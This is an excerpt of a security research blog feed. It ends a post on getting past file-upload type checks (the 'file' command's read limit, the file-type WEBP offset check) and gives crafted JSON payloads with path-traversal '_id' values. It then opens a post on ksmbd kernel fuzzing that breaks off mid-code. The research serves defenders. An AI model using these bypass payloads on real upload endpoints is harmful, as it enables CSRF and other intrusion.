&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkFileCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//Write a temporary file&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tmpobj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fileSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;writeSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tmpobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;closeSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tmpobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Exec file command&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;execFileSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-b&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;--mime-type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tmpobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/pdf&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`content - type: File is not a PDF : &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;tmpobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;removeCallback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;technique-2&quot;&gt;Technique:&lt;/h3&gt;

&lt;p&gt;The difference with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmmagic&lt;/code&gt; is that before checking the magic bytes, it tries to parse the file as &lt;a href=&quot;https://github.com/file/file/blob/FILE5_46/src/funcs.c#L388C1-L397C1&quot;&gt;JSON&lt;/a&gt;. If it succeed, the file is considered to be JSON and no other checks will be perform. So we can’t use the same trick as mmmagic. However, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; command has a known limit on the size of files it can process. This is an extract of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man file&lt;/code&gt; command.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt;, &lt;span class=&quot;nt&quot;&gt;--parameter&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;value
             Set various parameter limits.

            Name         Default    Explanation
            bytes        1048576    max number of bytes to &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;from file
            elf_notes    256        max ELF notes processed
            elf_phnum    2048       max ELF program sections processed
            elf_shnum    32768      max ELF sections processed
            encoding     65536      max number of bytes &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;encoding evaluation
            indir        50         recursion limit &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;indirect magic
            name         60         use count limit &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;name/use magic
            regex        8192       length limit &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;regex searches
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see a limit on the number of bytes to read. We can exploit this limit by padding the file with whitespace characters (such as spaces or tabs) until the file exceeds the parsing limit. Once the limit is reached, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_is_json&lt;/code&gt; function will fail, and the file will be classified as a different file type (e.g., a PDF).&lt;/p&gt;

&lt;p&gt;For example, we can create a file like this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;_id&quot;: &quot;../../../../CSPT?&quot;,
  &quot;bypass&quot;: &quot;%PDF-1.3 1 0 obj &amp;lt;&amp;lt;   /Pages 2 0 R   /Type /Catalog &amp;gt;&amp;gt; endobj 2 0 obj &amp;lt;&amp;lt;   /Count 1   /Kids [     3 0 R   ]   /Type /Pages &amp;gt;&amp;gt; endobj 3 0 obj &amp;lt;&amp;lt;   /Contents 4 0 R   /MediaBox [ 0 0 200 200 ]   /Parent 2 0 R   /Resources &amp;lt;&amp;lt;     /Font &amp;lt;&amp;lt; /F1 5 0 R &amp;gt;&amp;gt;   &amp;gt;&amp;gt;   /Type /Page &amp;gt;&amp;gt; endobj 4 0 obj &amp;lt;&amp;lt;   /Length 50 &amp;gt;&amp;gt; stream BT   /F1 10 Tf   20 100 Td   (CSPT) Tj ET endstream endobj 5 0 obj &amp;lt;&amp;lt;   /Type /Font   /Subtype /Type1   /BaseFont /Helvetica &amp;gt;&amp;gt; endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer &amp;lt;&amp;lt;   /Size 6   /Root 1 0 R &amp;gt;&amp;gt; startxref 447 %%EOF &amp;lt;..A LOT OF SPACES..&amp;gt; &quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When uploaded, the file command will be unable to parse this large JSON structure, causing it to fall back to normal file detection and to treat the file as a PDF.&lt;/p&gt;

&lt;h1 id=&quot;bypassing-image-upload-file-type-restriction-using-the-webp-format&quot;&gt;Bypassing Image Upload file-type Restriction Using the WEBP Format&lt;/h1&gt;

&lt;p&gt;Image uploads often use libraries like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file-type&lt;/code&gt; to validate file formats. The following code tries ensure that the uploaded file is an image.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkFileType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileTypeFromBuffer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileTypeFromBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;image/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;file-type: File is not an image : &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;technique-3&quot;&gt;Technique:&lt;/h2&gt;

&lt;p&gt;Sometimes, these libraries check for specific magic numbers at a predefined offset. In this example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file-type&lt;/code&gt; checks if the magic bytes are present at offset 8:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/sindresorhus/file-type/blob/v19.6.0/core.js#L358C1-L363C1&quot;&gt;https://github.com/sindresorhus/file-type/blob/v19.6.0/core.js#L358C1-L363C1&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;checkString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;WEBP&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;webp&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;mime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;image/webp&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As we have control over the starting bytes, we can build a valid JSON file. We can craft a JSON object that places the magic bytes (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WEBP&lt;/code&gt;) at the correct offset, allowing the file to pass validation as an image while still being a valid JSON object. Here’s an example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{&quot;aaa&quot;:&quot;WEBP&quot;,&quot;_id&quot;:&quot;../../../../CSPT?&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This file will pass the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file-type&lt;/code&gt; check for images, while still containing JSON data that can be used for CSPT.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Bypassing file-upload restrictions is not new but we wanted to share some methods we used in past years to upload JSON gadgets when file-upload restrictions are implemented. We used them in order to perform CSPT2CSRF or any other exploits (XSS, etc.) but they can be applied in other contexts too. Don’t hesitate to dig into third-party source code in order to understand how it works.&lt;/p&gt;

&lt;p&gt;All these examples and files have been included in our &lt;a href=&quot;https://github.com/doyensec/CSPTPlayground&quot;&gt;CSPTPlayground&lt;/a&gt;. The playground doesn’t only include CSPT2CSRF but also other examples such as a JSONP gadget or Open Redirect. This was built based on feedback received by Isira Adithya (&lt;a href=&quot;https://x.com/isira_adithya&quot;&gt;@isira_adithya&lt;/a&gt;) and Justin Gardner (&lt;a href=&quot;https://x.com/Rhynorater&quot;&gt;@Rhynorater&lt;/a&gt;). Thank you so much!&lt;/p&gt;

&lt;h1 id=&quot;more-information&quot;&gt;More Information&lt;/h1&gt;

&lt;p&gt;If you would like to learn more about our other research, check out our &lt;a href=&quot;https://blog.doyensec.com&quot;&gt;blog&lt;/a&gt;, follow us on X (&lt;a href=&quot;https://x.com/Doyensec&quot;&gt;@doyensec&lt;/a&gt;) or feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for more information on how we can help your organization “Build with Security”.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>ksmbd vulnerability research</title>
   <link href="https://blog.doyensec.com/2025/01/07/ksmbd-1.html"/>
   <updated>2025-01-07T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/01/07/ksmbd-1</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;At Doyensec, we decided to perform a vulnerability research activity on the SMB3 Kernel Server (ksmbd), a component of the Linux kernel. Initially, it was enabled as an experimental feature, but in the kernel version 6.6, the experimental flag was &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6099776f9f268e61fe5ecd721f994a8cfce5306f&quot;&gt;removed&lt;/a&gt;, and it remains stable.&lt;/p&gt;

&lt;p&gt;Ksmbd splits tasks to optimize performance, handling critical file operations in kernel space and non-performance-related tasks, such as DCE/RPC and user account management, in user space via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd.mountd&lt;/code&gt;. The server uses a multi-threaded architecture to efficiently process SMB requests in parallel, leveraging kernel worker threads for scalability and user-space integration for configuration and RPC handling.&lt;/p&gt;

&lt;p&gt;Ksmbd is not enabled by default, but it is a great target for learning the SMB protocol while also exploring Linux internals, such as networking, memory management, and threading.&lt;/p&gt;

&lt;p&gt;The ksmbd kernel component binds directly to port 445 to handle SMB traffic. Communication between the kernel and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd.mountd&lt;/code&gt; user-space process occurs via the &lt;a href=&quot;https://en.wikipedia.org/wiki/Netlink&quot;&gt;Netlink&lt;/a&gt; interface, a socket-based mechanism for kernel-to-user space communication in Linux. We focused on targeting the kernel directly due to its direct reachability, even though &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd.mountd&lt;/code&gt; operates with root privileges.&lt;/p&gt;

&lt;p&gt;The illustrative diagram of the architecture can be &lt;a href=&quot;https://lore.kernel.org/lkml/20210823025816.7496-7-namjae.jeon@samsung.com/T/&quot;&gt;found here&lt;/a&gt; in the mailing list and is displayed below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;               |--- ...
       --------|--- ksmbd/3 - Client 3
       |-------|--- ksmbd/2 - Client 2
       |       |         ____________________________________________________
       |       |        |- Client 1                                          |
&amp;lt;--- Socket ---|--- ksmbd/1   &amp;lt;&amp;lt;= Authentication : NTLM/NTLM2, Kerberos      |
       |       |      | |     &amp;lt;&amp;lt;= SMB engine : SMB2, SMB2.1, SMB3, SMB3.0.2, |
       |       |      | |                SMB3.1.1                            |
       |       |      | |____________________________________________________|
       |       |      |
       |       |      |--- VFS --- Local Filesystem
       |       |
KERNEL |--- ksmbd/0(forker kthread)
---------------||---------------------------------------------------------------
USER           ||
               || communication using NETLINK
               ||  ______________________________________________
               || |                                              |
        ksmbd.mountd &amp;lt;&amp;lt;= DCE/RPC(srvsvc, wkssvc, samr, lsarpc)   |
               ^  |  &amp;lt;&amp;lt;= configure shares setting, user accounts |
               |  |______________________________________________|
               |
               |------ smb.conf(config file)
               |
               |------ ksmbdpwd.db(user account/password file)
                            ^
  ksmbd.adduser ------------|

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Multiple studies on this topic have been published, including those by &lt;a href=&quot;https://blog.thalium.re/posts/ksmbd-trailer/&quot;&gt;Thalium&lt;/a&gt; and &lt;a href=&quot;https://pwning.tech/ksmbd-syzkaller/&quot;&gt;pwning.tech&lt;/a&gt;. The latter contains a detailed explanation on how to approach fuzzing from scratch using &lt;a href=&quot;https://github.com/google/syzkaller&quot;&gt;syzkaller&lt;/a&gt;. Although the article’s grammar is quite simple, it provides an excellent starting point for further improvements we built upon.&lt;/p&gt;

&lt;p&gt;We began by intercepting and analyzing legitimate communication using a standard SMB client. This allowed us to extend the syzkaller grammar to include additional commands implemented in &lt;a href=&quot;https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/smb2pdu.c&quot;&gt;smb2pdu.c&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;During fuzzing, we encountered several challenges, one of which was addressed in the pwning.tech article. Initially, we needed to tag packets to identify the syzkaller instance (procid). This tagging was required only for the first packet, as subsequent packets shared the same socket connection. To solve this, we modified the first (negotiation) request by appending 8 bytes representing the syzkaller instance number. Afterward, we sent subsequent packets without tagging.&lt;/p&gt;

&lt;p&gt;Another limitation of syzkaller is its &lt;a href=&quot;https://github.com/google/syzkaller/commit/dc5564eb36462b29de4a0dbf85ef9f91df2eecca&quot;&gt;inability&lt;/a&gt; to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc()&lt;/code&gt; for dynamic memory allocation, complicating the implementation of authentication in &lt;a href=&quot;https://github.com/google/syzkaller/blob/master/docs/pseudo_syscalls.md&quot;&gt;pseudo syscalls&lt;/a&gt;. To work around this, we patched the relevant authentication (NTLMv2) and packet signature verification checks, allowing us to bypass negotiation and session setup without valid signatures. This enabled the invocation of additional commands, such as ioctl processing logic.&lt;/p&gt;

&lt;p&gt;To create more diverse and valid test cases, we initially extracted communication using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt;, or manually crafted packets. For this, we used Kaitai Struct, either through its &lt;a href=&quot;https://ide.kaitai.io/&quot;&gt;web interface&lt;/a&gt; or &lt;a href=&quot;https://github.com/kaitai-io/kaitai_struct_visualizer&quot;&gt;visualizer&lt;/a&gt;. When a packet was rejected by the kernel, Kaitai allowed us to quickly identify and resolve the issue.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/kaitai1.png&quot; alt=&quot;Kaitai with SMB grammar&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;During our research, we identified multiple security issues, three of which are described in this post. These vulnerabilities share a common trait - they can be exploited without authentication during the session setup phase. Exploiting them requires a basic understanding of the communication process.&lt;/p&gt;

&lt;h2 id=&quot;communication&quot;&gt;Communication&lt;/h2&gt;

&lt;p&gt;During KSMBD initialization (whether built into the kernel or as an external module), the startup function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_socket()&lt;/code&gt; is called to listen for incoming traffic:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/transport_tcp.c#L484&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kernel_listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ksmbd_socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;KSMBD_SOCKET_BACKLOG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;pr_err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Port listen() error: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The actual data handling occurs in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_tcp_new_connection()&lt;/code&gt; function and the spawned per-connection threads (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd:%u&lt;/code&gt;). This function also allocates the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct ksmbd_conn&lt;/code&gt;, representing the connection:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/transport_tcp.c#L203&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_tcp_new_connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client_sk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
